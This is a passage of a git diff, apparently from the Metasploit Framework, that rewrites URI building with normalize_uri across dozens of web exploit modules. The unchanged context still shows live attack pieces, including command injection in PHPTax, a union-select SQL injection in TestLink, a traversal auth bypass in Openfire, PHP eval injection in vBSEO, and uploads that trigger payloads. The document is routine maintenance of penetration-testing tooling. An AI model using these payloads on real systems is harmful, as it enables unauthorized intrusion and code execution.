normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -308,14 +308,14 @@ EOT if (datastore['VERB'] == "POST") res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'method' => datastore['VERB'], 'data' => data }, 5) else res = send_request_cgi( { - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor;index.jsp?' + data, + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}", 'method' => datastore['VERB'], }, 30) end @@ -378,7 +378,7 @@ EOT def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path, diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index db63a96cb4..7c36c1fa16 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -176,7 +176,7 @@ class Metasploit3 < Msf::Exploit::Remote if (datastore['VERB'] == "POST") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -189,7 +189,7 @@ class Metasploit3 < Msf::Exploit::Remote else res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_get' => { 'action' => 'invokeOpByName', @@ -275,7 +275,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'method' => datastore['VERB'], - 'uri' => normalize_uri(datastore['PATH']) + '/HtmlAdaptor', + 'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'), 'vars_post' => { 'action' => 'invokeOpByName', @@ -314,7 +314,7 @@ class Metasploit3 < Msf::Exploit::Remote def query_serverinfo - path = normalize_uri(datastore['PATH']) + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo' + path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo' res = send_request_raw( { 'uri' => path diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index bc195f03a9..bd825a7a00 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote def http_send_command(cmd, opts = {}) request_parameters = { 'method' => 'POST', - 'uri' => "#{@uri.path}script", + 'uri' => normalize_uri(@uri.path, "script"), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Logging in...') res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@uri.path}j_acegi_security_check", + 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), 'vars_post' => { 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 0206ac51f7..98f2f7ebda 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php" + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php") }) if res and res.code == 200 @@ -87,14 +87,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)") send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php", + 'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php"), 'data' => php }) print_status("#{peer} - Requesting data.php") send_request_raw({ 'method' => 'GET', - 'uri' => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php" + 'uri' => normalize_uri(uri, 'admin/libraries/ajaxfilemanager/inc/data.php') }) handler diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index fbe992bc3a..61f076de2f 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(uri, "/index.php")}) if res and res.body =~ /MobileCartly/ return Exploit::CheckCode::Detected else @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("#{@peer} - Uploading payload") res = send_request_cgi({ - 'uri' => "#{base}/includes/savepage.php", + 'uri' => normalize_uri(base, "/includes/savepage.php"), 'vars_get' => { 'savepage' => php_fname, 'pagecontent' => get_write_exec_payload(:unlink_self=>true) @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote # Run payload # print_status("#{@peer} - Requesting '#{php_fname}'") - send_request_cgi({ 'uri' => "#{base}/pages/#{php_fname}" }) + send_request_cgi({ 'uri' => normalize_uri(base, pages, php_fname) }) handler end diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 96c4a846cb..0347f05503 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -98,7 +98,7 @@ class Metasploit4 < Msf::Exploit::Remote end def http_send_raw(cmd) - path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi' + path = normalize_uri(target_uri.path, '/mt-upgrade.cgi') pay = cmd.gsub('\\', '\\\\').gsub('"', '\"') send_request_cgi( { diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index 4f4557bb80..a7fc47a52b 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -89,10 +89,10 @@ class Metasploit3 < Msf::Exploit::Remote end def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' - path = "#{base}login.jsp" + path = normalize_uri(base, "login.jsp") res = send_request_cgi( { 'uri' => path @@ -183,7 +183,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?uploadplugin", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?uploadplugin"), 'method' => 'POST', 'data' => data, 'headers' => @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote if datastore['REMOVE_PLUGIN'] print_status("Deleting plugin #{plugin_name} from the server") res = send_request_cgi({ - 'uri' => "#{base}setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}", + 'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?deleteplugin=") + plugin_name.downcase, 'headers' => { 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 3fa5bff907..1e95400a80 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -252,7 +252,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying file: #{f}") send_request_raw({ 'method' => 'GET', - 'uri' => "#{base}mods/documents/uploads/#{f}", + 'uri' => normalize_uri(base, 'mods/documents/uploads/', f), 'cookie' => cookie }) end diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index 7e1bee9ef4..6052a86061 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -56,9 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { @@ -74,9 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote end def get_session - uri normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'index.php' + uri = normalize_uri(datastore['URI'], 'index.php') res = send_request_raw( { diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 3de593e6cd..d0733a8efb 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -73,13 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path print_status("#{rhost}#{rport} - Sending request...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}drawimage.php", + 'uri' => normalize_uri(uri, "drawimage.php"), 'vars_get' => { 'pdf' => 'make', 'pfilez' => "xxx; #{payload.encoded}" diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index 10c502fc7f..1015e29dd6 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -61,9 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') res = send_request_raw( { @@ -77,9 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2' + uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2') send_request_cgi( { diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 9bbbcb3967..1552699482 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -73,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote header = rand_text_alpha_upper(3) header_append = rand_text_alpha_upper(4) - uri = normalize_uri(datastore['URI']) - uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php' + uri = normalize_uri(datastore['URI'], "pmwiki.php") res = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 39df154e4f..47959f1b71 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({'uri'=>"#{base}/index.php"}) + res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")}) if res and res.body =~ /
.+qdPM ([\d])\.([\d]).+\<\/div\>/m major, minor = $1, $2 return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70 @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote # Login res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/login", + 'uri' => normalize_uri("#{base}/index.php/home/login"), 'vars_post' => { 'login[email]' => username, 'login[password]' => password, @@ -187,7 +187,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie, @@ -205,7 +205,7 @@ class Metasploit3 < Msf::Exploit::Remote # When we upload a file, it will be renamed. The 'myAccount' page has that info. res = send_request_cgi({ - 'uri' => "#{base}/index.php/home/myAccount", + 'uri' => normalize_uri("#{base}/index.php/home/myAccount"), 'cookie' => cookie }) diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 830202444b..cf46bf92d7 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -64,12 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - uri = normalize_uri(datastore['URI']) - if uri[-1,1] != '/' - uri = uri + "index.php" - else - uri = uri + "/index.php" - end + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_raw({ 'uri' => uri @@ -91,12 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_session(user, pass) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "login.php" - else - uri = uri + "/login.php" - end + uri = normalize_uri(datastore['URI'], "login.php") res = send_request_cgi({ 'uri' => uri, @@ -121,12 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote def upload_page(session, newpage, contents) - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + "ftp_upload_file.php" - else - uri = uri + "/ftp_upload_file.php" - end + uri = normalize_uri(datastore['URI'], "ftp_upload_file.php") boundary = rand_text_alphanumeric(6) @@ -187,12 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote def cmd_shell(cmdpath) print_status("Calling payload: #{cmdpath}") - uri = normalize_uri(datastore['URI']) - if uri[-1,1] == "/" - uri = uri + cmdpath - else - uri = uri + "/#{cmdpath}" - end + uri = normalize_uri(datastore['URI'], cmdpath) send_request_raw({ 'uri' => uri diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 4abf1ce645..61d7a559d7 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -264,7 +264,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") res = send_request_cgi( { - 'uri' => "#{@uri}appliance/#{@jsp_name}.jsp", + 'uri' => normalize_uri("#{@uri}appliance/#{@jsp_name}.jsp"), 'method' => 'GET' }) diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 28f3e0854e..d91113a065 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' peer = "#{rhost}:#{rport}" @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}login.php" + 'uri' => normalize_uri(base, "login.php") }) return Exploit::CheckCode::Unknown if res.nil? @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}lib/attachments/attachmentupload.php?id=#{id}&tableName=#{table}", + 'uri' => normalize_uri(base, "lib/attachments/attachmentupload.php") + "?id=#{id}&tableName=#{table}", 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 @@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/#{table}/#{id}/" + 'uri' => normalize_uri(base, "upload_area", table, id) }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @token = $1 @@ -238,11 +238,11 @@ class Metasploit3 < Msf::Exploit::Remote # attempt to retrieve real file name from the database if @token.nil? print_status("#{@peer} - Retrieving real file name from the database.") - sqli = "lib/ajax/gettprojectnodes.php?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" + sqli = normalize_uri(base, "lib/ajax/gettprojectnodes.php") + "?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}#{sqli}", + 'uri' => sqli, 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @@ -263,7 +263,7 @@ class Metasploit3 < Msf::Exploit::Remote begin send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/nodes_hierarchy/#{id}/#{@token}.php" + 'uri' => normalize_uri(base, "upload_area", "nodes_hierarchy", id, "#{@token}.php") }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 5fdf162a99..a46cd2c033 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -198,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote # # UPLOAD # - path_tmp = normalize_uri(datastore['PATH']) + "/deploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "deploy") + query_str print_status("Uploading #{war.length} bytes as #{app_base}.war ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -247,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote # # DELETE # - path_tmp = normalize_uri(datastore['PATH']) + "/undeploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "/undeploy") + query_str print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -263,7 +263,7 @@ class Metasploit3 < Msf::Exploit::Remote end def query_serverinfo() - path = normalize_uri(datastore['PATH']) + '/serverinfo' + path = normalize_uri(datastore['PATH'], '/serverinfo') res = send_request_raw( { 'uri' => path diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 54565c898e..ca61aeed05 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -58,8 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php" + uri = normalize_uri(datastore['URI'], "admincp", "login.php") res = send_request_raw( { @@ -75,8 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit p = Rex::Text.encode_base64(payload.encoded) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook" + uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook" res = send_request_cgi( { @@ -92,8 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote } }, 25) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "index.php" : "/index.php" + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_cgi( { diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 5735349a01..3745fe16e3 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -55,9 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote flag = rand_text_alpha(rand(10)+10) data = "char_repl='{${print(#{flag})}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => "POST", @@ -82,9 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index f4ba74ac42..e93870a0bf 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -63,8 +63,8 @@ class Metasploit3 < Msf::Exploit::Remote uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res1 = send_request_raw({'uri'=>"#{base}/index.php"}) - res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"}) + res1 = send_request_raw({'uri'=>normalize_uri("#{base}/index.php")}) + res2 = send_request_raw({'uri'=>normalize_uri("#{base}/work/resultimage.php")}) if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and res2 and res2.code == 200 @@ -111,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/work/resultimage.php", + 'uri' => normalize_uri("#{base}/work/resultimage.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) @@ -121,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote return end - @target_path = "#{base}/results/#{fname}" + @target_path = normalize_uri("#{base}/results/#{fname}") print_status("#{peer} - Requesting #{@target_path}") res = send_request_cgi({'uri'=>@target_path}) diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index f2c8d8de11..000336b98b 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote def get_cookie res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php" + 'uri' => normalize_uri(@base, "wikka.php") }) # Get the cookie in this format: @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Remote # def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login - uri = "#{@base}wikka.php?wakka=UserSettings" + uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings" res = send_request_raw({ 'method' => 'GET', 'uri' => uri, @@ -163,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", + 'uri' => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie }) @@ -189,11 +189,11 @@ class Metasploit3 < Msf::Exploit::Remote # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" - uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" + uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment") post_data = "" send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", + 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, @@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}spamlog.txt.php" + 'uri' => normalize_uri(@base, "spamlog.txt.php") }) end diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 3fde5b946a..c8a99cdb92 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -61,12 +61,11 @@ class Metasploit3 < Msf::Exploit::Remote def check base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' sig = rand_text_alpha(10) res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => sig, 'new' => '1', @@ -86,10 +85,9 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending GET request...") base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => "&#{payload.encoded} #", 'new' => '1', diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 772eeb722c..170db130fc 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/picEditor.php' + 'uri' => normalize_uri(datastore['URI'], '/picEditor.php') }, 25) if (res and res.body =~ /Coppermine Picture Editor/i) @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(datastore['URI']) + "/picEditor.php", + 'uri' => normalize_uri(datastore['URI'], "/picEditor.php"), 'vars_post' => { 'angle' => angle, diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 58b051af1b..9dc2044cd7 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -58,12 +58,11 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}egallery/uploadify.php" + 'uri' => normalize_uri(uri, "egallery", "uploadify.php") }) if res and res.code == 200 and res.body.empty? @@ -97,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}egallery/uploadify.php", + 'uri' => normalize_uri("#{uri}egallery/uploadify.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) @@ -113,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}#{payload_name}" + 'uri' => normalize_uri("#{uri}#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index 0ccb1efcfd..c7fa522c9f 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -54,9 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=' + uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php') + uri << '?type=file&folder=' res = send_request_raw( { 'uri' => uri diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index 7f9b9cd6f0..546bd1cf11 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -68,9 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'www/admin/' + uri = normalize_uri(datastore['URI'], 'www', 'admin/') res = send_request_raw( { 'uri' => uri @@ -108,9 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote # Static files img_dir = 'images/' - uri_base = normalize_uri(datastore['URI']) - uri_base << '/' if uri_base[-1,1] != '/' - uri_base << 'www/' + uri_base = normalize_uri(datastore['URI'], 'www/') # Need to login first :-/ cookie = openx_login(uri_base) @@ -166,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw( { - 'uri' => uri_base + 'admin/index.php' + 'uri' => normalize_uri(uri_base, 'admin/index.php') }, 10) if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/) return nil 